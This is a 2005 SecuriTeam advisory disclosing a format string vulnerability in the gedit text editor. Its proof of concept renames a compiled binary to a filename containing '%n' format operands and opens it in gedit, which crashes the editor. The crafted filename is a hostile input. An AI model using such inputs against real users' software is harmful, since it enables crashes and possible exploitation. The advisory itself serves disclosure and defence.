[UNIX] gedit Format String Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 05/22/05
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To: list@securiteam.com Date: 22 May 2005 16:50:27 +0200
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gedit Format String Vulnerability
------------------------------------------------------------------------
SUMMARY
" <http://www.gnome.org/projects/gedit/> gedit is the official text editor
of the GNOME desktop environment. While aiming at simplicity and ease of
use, gedit is a powerful general purpose text editor."
A format string vulnerability has been discovered in gedit. The
vulnerability can be triggered by causing the user to open specially
crafted filename.
DETAILS
Vulnerable Systems:
* gedit version 2.10.2
* gedit version 2.8.3
While opening a binary file whose name contains format string operands,
gedit will crash.
Proof of Concept:
bash-2.05b#cat fmtexp.c
#include
int
main()
{
printf("hah gedit\n");
}
bash-2.05b#gcc -o fk fmtexp.c
bash-2.05b#mv fk AA%n%n%n.c
bash-2.05b#gedit AA%n%n%n.c
ADDITIONAL INFORMATION
The information has been provided by <mailto:exwormh@hotmail.com>
exwormh.
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